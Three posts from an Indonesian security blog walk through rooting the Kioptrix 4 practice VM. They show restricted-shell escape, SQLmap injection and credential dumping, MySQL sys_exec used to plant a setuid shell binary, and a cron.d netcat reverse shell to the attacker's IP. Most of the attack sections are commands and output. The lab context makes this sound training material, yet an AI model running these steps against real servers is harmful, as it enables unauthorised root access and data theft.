Pages

Banner 468 x 60px

 
Tampilkan postingan dengan label SQL Injection. Tampilkan semua postingan
Tampilkan postingan dengan label SQL Injection. Tampilkan semua postingan

Minggu, 24 Juni 2012

Kioptrix 4 Rooting from Vulnerable Database

0 komentar
Belakangan ini, saya menemukan vulnerability baru pada kioptrix level 4. Vulnerability ini terletak pada database, yang memiliki hak akses sebagai root, sehingga MySQL dapat membuat file dengan root sebagai pemiliknya. Hal ini memungkinkan attacker untuk memodifikasi file-file yang bersifat sensitif seperti passwd, dan shadow.

Mari kita lihat kembali postingan sebelumnya mengenai rooting Kioptrix 4 hanya dengan menggunakan SQLmap. Pada alur penyerangan di atas, attacker membuat file baru pada direktori /etc/cron.d dengan root sebagai user yang akan mengeksekusi file tersebut. Attacker mengatur root untuk melakukan koneksi netcat dengan mengeksekusi /bin/bash setelah koneksi terjadi. Attacker hanya menggunakan database MySQL untuk membuat file exploit pada direktori /etc/cron.d. Dari sinilah sebuah metode rooting kembali ditemukan.

Saya akan mengajak anda kembali pada postingan SQL Injection Level 4 Part 2, diketahui bahwa terdapat 2 akun yang dapat kita gunakan untuk login kedalam mesin kioptrix. Yaitu user john dan robert. Anda sebenarnya dapat langsung mengakses secure shell dengan perintah ssh 'username'@'domain' untuk dapat login ke dalam kioptrix 4.

Kali ini saya mengambil username john sebagai uji coba keberhasilan exploit root ini. Karena password john lebih mudah daripada password robert. ;)
Perlu diketahui juga, bahwa kioptrix 4 telah dipersenjatai dengan perisai shell yang disebut secure shell. Secure shell mencegah user untuk mengeksekusi perintah tertentu. Dalam hal ini, user hanya memiliki batas tiga kali melakukan kesalahan sebelum akhirnya di kicked out oleh system. 


Telah kita ketahui bahwa secure shell yang dimiliki oleh kioptrix 4 memungkinkan user untuk mengeksekusi perintah echo, cd, clear, ll, exit, ?, help, lpath, ls. Untuk keluar dari secure shell, kita harus mendapatkan bash interpreter. Caranya mudah sekali, cukup masukan perintah

Command :
echo os.system("/bin/bash") 

Dan bash interpreterpun telah tereksekusi, sehingga tidak ada limitation dalam mengeksekusi sebuah perintah. Kita telah berhasil membobol secure shell, lalu bagaimana cara mengangkat privilege kita menjadi root?

Setelah masuk kedalam system dengan ssh, kita akan mulai information gathering, dimulai dari kebenaran vulnerability yang ditemukan pada database MySQL kioptrix 4.

 

Saya beralih ke direktory /tmp, kemudian membuat file red-dragon dengan database mysql menggunakan perintah SELECT sys_exec.


Command :
mysql > select sys_exec('COMMAND HERE');


Sebagai contoh, saya akan membuat file red-dragon pada direktory /tmp. Maka perintah SQLnya adalah:


Command :
mysql > select sys_exec('touch /tmp/red-dragon');

Kemudian kita kembali lagi pada bash console, dan melihat ownership file ini dengan perintah



Command :
$ ls -lah /tmp/red-dragon


Ternyata file ini milik root, ini berarti sebuah vulnerable yang fatal dimana scrip bahasa C yang sederhana dapat mengangkat privileges user biasa, menjadi root. Semenjak kita tau bahwa kioptrix4 tidak memiliki GCC, maka saya melakukan kompile pada backtrack, kemudian mengupload file ini yang selanjutnya akan diupload ke dalam komputer korban.


Pertama, saya buat file exploit.c pada direktori /tmp. Mengapa /tmp? Ini karena agar saya tidak perlu repot menghapus file ini kelak, karena setiap file yang ada di folder /tmp akan dihapus setiap komputer melakukan halting. Bagaimana wujud script bahasa C yang saya gunakan?

Command :
int main(){setresuid(0, 0, 0);setresgid(0, 0, 0);system( "/bin/sh" );return 0;}


Enam baris script ini akan mengangkat privilege john menjadi root. Langsung saja saya compile script ini dengan bantuan GCC.



Command :
root@red-dragon:/tmp# gcc exploit.c -o exploit

Perintah diatas akan menkompilasi file exploit.c, dan hasil compile diberi nama exploit. Secara default, file ini akan memiliki +x permission, atau bisa dieksekusi.


Kioptrix juga telah dipersenjatai dengan iptables, sehingga atacker tidak dapat sembarang mengupload file exploit ke dalam system exploit. Hal ini dikarenakan kioptrix telah mengatur iptables untuk memutus koneksi yang keluar menuju port 21 (FTP), 4444 (Standar Port Listener Metasploit), 80 (HTTP). Untuk itu saya menggunakan module python yang bernama Simple HTTP Server yang membuka port listener pada port 8000. Port 8000 tidak difilter oleh kioptrix, sehingga atacker dapat mengupload file exploit melalui port ini dengan perintah wget.


Perlu diketahui juga, module Simple HTTP Server menggunakan home direktory sesuai dengan current directory bash interpreter anda. Jika anda menjalankan module ini pada folder /root, maka home directory module ini juga berada di root, sehingga memungkinkan penyusup mendownload file anda yang berada pada directory root. Usahakan anda menjalankan module ini pada folder yang sama ketika anda melakukan compile exploit. Dalam hal ini saya melakukannya pada direktory /tmp. Untuk menjalankan module simpe http server, cukup masukan perintah:

Command :
root@red-dragon:/tmp# python -m SimpleHTTPServer


Setelah module berhasil dieksekusi, langkah selanjutnya adalah mengirim file expoit kita ke system kioptrix dengan bantuan wget.


File exploit kita telah berhasil diupload ke system pada direktory /tmp. Hal yang perlu diketahui agar file root exploit ini berjalan, adalah dengan mengubah file ownership, dan file permission. Anda harus mengubah file permission menjadi +s,a+rwx, dan mengubah ownership menjadi root. Untuk melakukan pengubahan file permission dan ownership, anda harus memiliki hak akses root. Untuk itu kita akan kembali menggunakan MySQL untuk mengeksekusi perintah shell, dengan sys_exec().

Pertama, kita akan mengubah file permission.

Command :
mysql > SELECT sys_exec("chmod +s,a+rwx /tmp/exploit");

Atau

Command :
john@Kioptrix4:/tmp$ mysql -u root -e "select sys_exec('chmod +s,a+rwx /tmp/exploit');"


Setelah kita merubah file permission, maka file permission akan menjadi -rwsrwsrwx. Selanjutnya kita akan mengubah file ownership ini menjadi milik root. Mengubah ownership-pun harus menggunakan hak akses root. Untuk itu kita akan menggunakan MySQL lagi untuk mengeksekusi perintah sys_exec().

Command :
mysql > SELECT sys_exec("chown root:root /tmp/exploit");

Atau

Command :
john@Kioptrix4:/tmp$ mysql -u root -e "select sys_exec('chown root:root /tmp/exploit');"


Setelah file ownership telah diubah, kita hanya perlu mengeksekusi file ini untuk menjadi root.

Command :
john@Kioptrix4:/tmp$ ./exploit

Kemudian cek dengan perintah id


You are so.....


OWNED by : red-dragon
Read more...

Kamis, 10 Mei 2012

Special Rooting [via SQLmap]

0 komentar
Root adalah user yang memiliki hak akses tertinggi dalam sistem operasi UNIX. Dalam system operasi Windows, root sama dengan NT AUTHORITY SYSTEM. Privilege escalating pada sistem operasi UNIX cukup mudah. User biasanya menggunakan perintah

Command :
user@unix:~$ suPassword: su: Authentication failureuser@unix:~$

Pada perintah su, user harus memasukan password milik root. Jika berhasil, maka user akan menjadi root dalam sistem tersebut. Kebanyakan mesin komputer yang memiliki OS UNIX, password root TIDAK diberikan secara cuma-cuma kepada user lain. Artinya password root hanya diketahui oleh segelintir orang. Hal ini bertujuan agar sistem tetap aman, tanpa user 'nakal' yang menggunakan hak akses root untuk mengubah system.

Mengangkat hak akses juga bisa dilakukan dengan perintah

Command :
user@unix:~$ iduid=2000(user) gid=2000(user) groups=2000(user)user@unix:~$ sudo suPassword: [sudo] password for www-data:root@unix:~# iduid=0(root) gid=0(root) groups=0(root)

Ini adalah sedikit contoh mengenai escalating privilege pada unix. Namun perusahaan yang cerdas, akan membatasi user untuk mengeksekusi perintah sudo su, agar user 'nakal' tidak menggunakan hak akses root untuk mengubah system.

Apa istimewanya root? Kali ini saya akan menjelaskan sedikit kemampuan khusus yang dimiliki oleh root. Yaitu menghapus data milik user lain.

Command :
www-data@red-dragon:/tmp$ echo "delete me if you can" > fuck_youwww-data@red-dragon:/tmp$ ls -l fuck_you -rw-r--r-- 1 www-data www-data 21 2012-05-11 10:09 fuck_youwww-data@red-dragon:/tmp$ cat fuck_you delete me if you can

User bernama www-data membuat sebuah file bernama fuck_you, yang berisi "delete me if you can". File ini terletak pada folder /tmp/.

Note : Tulisan yang berwarna kuning adalah hasil output dari perintah.
Kemudian datang user lain bernama couchdb. User ini sepertinya tidak suka dengan isi dan nama file yang dibuat oleh user www-data. Kemudian ia mencoba untuk menghapus file tersebut.

Command :
couchdb@red-dragon:/tmp$ ls -l fuck_you -rw-r--r-- 1 www-data www-data 21 2012-05-11 10:09 fuck_youcouchdb@red-dragon:/tmp$ rm fuck_yourm: remove write-protected regular file `fuck_you'? YESrm: cannot remove `fuck_you': Operation not permitted

Mengapa bisa seperti ini? Telah kita ketahui sebelumnya bahwa file ini milik user www-data, ketika user couchdb hendak menghapus file ini, maka system berkata:

"File ini milik www-data, kau tidak bisa menghapus file ini..."

Perhatikan ketika root hendak menghapus file ini

Command :
root@red-dragon:/tmp# ls -l fuck_you -rw-r--r-- 1 www-data www-data 21 2012-05-11 10:09 fuck_youroot@red-dragon:/tmp# rm fuck_youroot@red-dragon:/tmp# ls -l fuck_yourm: cannot remove `fuck_you': No such file or directory

File berhasil dihapus oleh root. Pada kasus web server, penggunaan hak akses ini yang membatasi peretas dalam melakukan mass deface. Karena peretas masuk ke dalam system dengan user A, dan tidak bisa mengganti file index milik user B-Z. Pada tahap seperti ini, peretas harus dapat mengangkat hak aksesnya menjadi root agar peretas dapat melancarkan serangan mass deface pada web server target.

Kali ini saya akan menjelaskan skema peretasan hak akses root hanya dengan menggunakan SQLmap! Saya melanjutkan peretasan pada KIOPTRIX 4, yang berjalan pada VMware saya. Percobaan peretasan KIOPTRIX 4 sudah saya jelaskan pada postingan saya sebelumnya.

Skill Requirements:
  1. MYSQL command line
  2. Spawn Shell With SQLmap

Tools Requirements:
  1. SQLmap (dapat ditemukan pada backtrack 5) 
Attacking Schema:
  1. Attacker mengendalikan shell system milik korban
  2. Mencari informasi mengenai password root database MySQL
  3. Login database dengan akses root, dan membuat evil database
  4. Meremote cron.d milik korban
  5. GAME OVER
EULA
Tutorial ini di tulis dengan tujuan edukasi, penyalahgunaan skill yang terdapat dalam tutorial ini adalah tanggung jawab pembaca.

Walktrough
1. Spawn Bash With SQLmap

Untuk mengendalikan shell system milik korban, kita dapat menggunakan SQLmap. Pada tutorial sebelumnya, saya telah menjelaskan cara melakukan spawn bash dengan SQLmap.

Command :
<< back|track 5 R2 [~] sqlmap -u "http://10.10.1.128/checklogin.php" --data="POSTDATA=myusername=admin&mypassword=admin&Submit=Login" --drop-set-cookie --os-shell

Setelah bash telah tereksekusi, kita akan menggunakan backdoor sederhana ini untuk melakukan rooting. Kali ini saya akan melakukan rooting melalui MYSQL yang berjalan pada system korban. Namun untuk mengakses database, saya harus dapat log in ke dalam database, dengan username dan password yang telah terdaftar pada database system. Pada posting sebelumnya mengenai Tricky Log In to MYSQL, kita telah mengetahui, bahwa root password bernilai blank. Artinya, kita dapat log in ke database dengan username root TANPA password.

Command :
os-shell>  mysql -uroot -e "show databases;"do you want to retrieve the command standard output? [Y/n/a] command standard output:---Databaseinformation_schemamembersmysql---



Parameter -e akan mengeksekusi perintah SQL. Gunakan tanda petik dua untuk mengapit command MySQL, dan akhiri command mysql dengan titik koma. Setelah ini, kita buat database baru dengan nama exploit.

Command :
os-shell> mysql -uroot -e "create database exploit;"do you want to retrieve the command standard output? [Y/n/a] No outputos-shell> mysql -uroot -e "show databases;"do you want to retrieve the command standard output? [Y/n/a] command standard output:---Databaseinformation_schemaexploitmembersmysql---

Database exploit, telah berhasil dibuat. Selanjutnya kita buat tabel bernama rootme, dan kolom bernama stack dengan atribut text.

Note : Jika command mysql berhasil di eksekusi, maka tidak ada output yang tercipta (No Output).

Command :
os-shell> mysql -uroot -e "use exploit; create table rootme (stack text);"do you want to retrieve the command standard output? [Y/n/a] No outputos-shell> mysql -uroot -e "use exploit; show tables;"do you want to retrieve the command standard output? [Y/n/a] command standard output:---Tables_in_exploitrootme---


Selanjutnya kita input table ini dengan perintah cron.d. Ketahuilah rooting sebelumnya dengan burpsuite, dimana attacker menaruh perintah cron.d agar root mengeksekusi file tersebut, sehingga attacker mendapatkan shell dengan privilege root. Artikel dapat ditemukan di SQL Injection Level 4 Final [rooting]. Tabel ini kita masukan perintah cron.d seperti ini

Command :
* * * * * root /bin/nc.traditional 10.10.1.1 666 -e /bin/bash

Dimana 10.10.1.1 adalah IP saya (sesuaikan dengan IP address anda), dan 666 adalah port listener netcat saya. Kita input perintah ini ke dalam table rootme.

Command :
os-shell> mysql -uroot -e "use exploit; insert into rootme value ('* * * * * root /bin/nc.traditional 10.10.1.1 666 -e /bin/bash \r\n');"do you want to retrieve the command standard output? [Y/n/a] No outputos-shell> mysql -uroot -e "use exploit; select * from rootme;"do you want to retrieve the command standard output? [Y/n/a] command standard output:---stack* * * * * root /bin/nc.traditional 10.10.1.1 666 -e /bin/bash 
---


Kita jalankan netcat listener pada port 666 dari attacker.

Command :
<< back|track 5 R2 [~] nc -l -v -p 666


Setelah menunggu 2 menit, file cron.d tereksekusi, dan kita akan mendapatkan koneksi netcat dari korban dengan privilege root.

Command :
<< back|track 5 R2 [~] nc -l -v -p 666listening on [any] 666 ...10.10.1.128: inverse host lookup failed: Unknown hostconnect to [10.10.1.1] from (UNKNOWN) [10.10.1.128] 49490iduid=0(root) gid=0(root) groups=0(root)


You are so....

pwned by : red-dragon
Read more...

Senin, 07 Mei 2012

Tricky Log In to MySQL

0 komentar
Ada banyak cara untuk melakukan Log In MySQL. Kebanyakan dilakukan dengan Web Shell yang memiliki fitur koneksi ke database MySQL sebuah web server. Setidaknya anda melakukan beberapa tahapan sebelum anda sampai ke database server.
  1. SQL Injection (Need Tools)
  2. Log in site (Need Browser)
  3. Upload Shell (Need Shell)
  4. Find config.php or etc
  5. Log In
Namun saya hanya membutuhkan SQLmap dan netcat untuk menembak database server. Satu hal yang terpenting, anda harus menggunakan kecerdasan anda sendiri ketika menghadapi sebuah masalah dalam melakukan penetrasi test. Anda tidak bisa mengandalkan satu teori untuk menyelesaikan banyak masalah. Dalam hal ini, saya menemukan banyak kesulitan.
  1. Port MySQL difilter, sehingga saya tidak bisa langsung mengkoneksikan mesin saya ke database server dengan IP address saya (mungkin pengaturan iptables yang membatasi saya)
  2. Tidak ada config.php pada document root, sehingga saya harus melakukan blind SQLi untuk memperoleh root password mysql.
  3. Tidak ada fitur upload pada situs ini, sehingga saya tidak dapat melakukan upload shell untuk melakukan koneksi mysql.


Sadarilah, tidak ada yang mudah. Dan percayailah, bahwa yang sulit akan membawa anda pada teori baru yang membuat anda semakin berkualitas. ;)

Dalam turorial kali ini, saya masih menggunakan Virtual OS yang berjalan pada VMware dengan IP address 10.10.1.128. Tutorial ini masih berkaitan dengan Spawn Shell With SQLmap dan Back Connect With SQLmap. Jika anda belum membaca kedua tutorial di atas, alangkah baiknya jika anda memahami kedua konsep diatas sebelum anda melakukan tahap ini.

MySQL Connection

Attacker (IP attacker) -> (Username + Password) -> MySQL port (3306)

Jika autentikasi valid, maka attacker dapat mengakses database web server. Autentikasi sendiri dapat dibatasi dengan pengaturan dari MySQL sendiri, atau melakukan filtrasi dari IP luar untuk memblokir paket yang masuk ke port 3306. Dan logikanya, TIDAK ADA web server yang menolak koneksi localhost untuk melakukan log in ke dalam database. Ini mengapa kebanyakan peretas menggunakan webshell untuk mengkoneksikan mesinnya ke dalam database web server.

Attacker -> Web Shell (IP Local) -> (Username + Password) -> MySQL port (3306)

Pada kasus diatas, kemungkinan keberhasilan log in sangat tinggi, terlebih karena attacker menggunakan IP local milik web server, sehingga MySQL akan membaca paket login dengan IP 127.0.0.1. Paket ini tidak akan ditolak, karena berasal dari localhost. Dan permasalahannya adalah, mampukan attacker mendapatkan username + passwor? Tantangan yang sesungguhnya bukanlah mencari config.php, karena config.php hanya menyimpan username + password dari virtual user saja. Tantangan sesungguhnya justru datang dari, mampukah attacker mendapatkan root password MySQL?

EULA (End User License Agreement)
Tutorial ini ditulis dengan tujuan edukasi, penyalahgunaan skill yang berasal dari tutorial ini, adalah tanggung jawab penulis.

Preparation :
  1. SQLmap (dapat ditemukan di backtrack)
  2. netcat (dapat ditemukan di backtrack)
Walkthrough :
1. Dumping username + password root MySQL

Untuk melakukan hal ini, saya menggunakan SQLmap 1.0 versi developer pada revisi 5029. Kita tau bahwa mesin 10.10.1.128 memiliki kelemahan terhadap penyerangan SQL Inection pada halaman checklogin.php pada parameter mypassword (baca tutorial SQL Injection Level 4 Part 1). Setelah melalui tahap pengujian, ternyata kita mendapatkan database MySQL 5. Dan situs ini lemah terhadap penyerangan SQL Injection type boolean-based blind, dan AND/OR time-based blind. Karena ber-type blind, maka ini akan terasa seperti menunggu hujan emas. SQLmap akan berusaha mencari string yang tepat pada percobaan satu per satu dalam menemukan informasi yang diinginkan. Ini seperti meraba-raba kertas putih, menebaknya, kemudian jika tebakan anda benar maka karakter tebakan anda kan muncul. SQLmap akan menebak karakter per karakter. Ini adalah ciri khas dari SQL Injection type blind.

Command :
<< back|track 5 R2 [~] sqlmap -u "http://10.10.1.128/checklogin.php" --data="POSTDATA=myusername=admin&mypassword=admin&Submit=Login" --drop-set-cookie --dbs

Perintah di atas bertujuan untuk melakukan ekstraksi daftar database yang ada pada web server. Dan hasilnya.


Sebagai informasi, username dan password root mysql selalu terletak pada database mysql. Maka kita harus menggunakan database ini untuk mencari table dan column yang tepat, dimana username dan passwor root mysql tersimpan.

Command :
<< back|track 5 R2 [~] sqlmap -u "http://10.10.1.128/checklogin.php" --data="POSTDATA=myusername=admin&mypassword=admin&Submit=Login" --drop-set-cookie -D mysql --table


Kita berhasil mendapatkan table user di dalam database mysql. Selanjutnya kita akan menggunakan table ini untuk melakukan ekstraksi daftar kolom yang terdapat di dalam table user.

Command :
<< back|track 5 R2 [~] sqlmap -u "http://10.10.1.128/checklogin.php" --data="POSTDATA=myusername=admin&mypassword=admin&Submit=Login" --drop-set-cookie -D mysql -T user --column


Kita berhasil mendapatkan kolom User dan Password. Langkah selanjutnya adalah mengekstraksi ke dua kolom ini, sehingga kita dapat memperoleh data di yang tersimpan di dalam ke dua kolom ini.

Command :
<< back|track 5 R2 [~] sqlmap -u "http://10.10.1.128/checklogin.php" --data="POSTDATA=myusername=admin&mypassword=admin&Submit=Login" --drop-set-cookie -D mysql -T user --C User,Passwod --dump


Ternyata password mysql tidak diatur oleh web admin. Dalam beberapa kasus, mungkin anda akan menemukan password telah diatur, sehingga anda menemukan password yang terenkripsi. Anda harus melakukan decode hash ini sehingga anda mendapatkan clear text dari hash ini. Untuk melakukan decode hash, anda bisa menggunakan JTR (John The Ripper), atau findmyhash.py yang bisa anda temukan pada backtrack. Anda juga bisa melakukan decode hash dengan bantuan online pada situs-situs yang menyediakan jasa decode hash.


2. Log In database

Anda bisa langsung melakukan log in ke dalam database dari terminal, jadi anda tidak perlu menggunakan web shell untuk melakukan hal ini. Basic command dari koneksi mysql adalah

Command :
<< back|track 5 R2 [~] mysql -u (username) -h (host) -p (password)

Contoh dalam kasus saya

Command :
<< back|track 5 R2 [~] mysql -u root -h 10.10.1.128


Ada yang aneh. Saya tidak dapat log in ke dalam database. Mungkin ini menjadi alasan mengapa web admin tidak mengatur password root mysql, karena dia telah membatasi IP luar untuk melakukan log in ke dalam database web server. Karena IP saya dibatasi, maka saya akan menggunakan IP web server untuk melakukan koneksi ke dalam database. Bukan melalui proxy, namun melalui OS shell. Saya akan mengendalikan OS shell milik web server, sehingga saya akan dikenali sebagai user local oleh web server. Untuk mengendalikan OS shell, saya menggunakan bantuan netcat. Untuk melakukan hal ini, anda harus membaca turotial Back Connect With SQLmap.


Dari sini, saya akan melakukan log in ke dalam database web server.

Command :
www-data@Kioptrix4:/var/www$ mysql -u rootWelcome to the MySQL monitor.  Commands end with ; or \g.Your MySQL connection id is 7243Server version: 5.0.51a-3ubuntu5.4 (Ubuntu)
Type 'help;' or '\h' for help. Type '\c' to clear the buffer.
mysql> show databases;show databases;+--------------------+| Database           |+--------------------+| information_schema | | members            | | mysql              | +--------------------+3 rows in set (0.00 sec)


Karena pasword root blank, maka saya tidak menambahkan parameter -p (untuk mengatur password saat melakukan log in).


Cheers. No hard feeling.

created by : red-dragon
Read more...
 
Es Sia © 2012 The Cyber Chrome. Supported by Alexa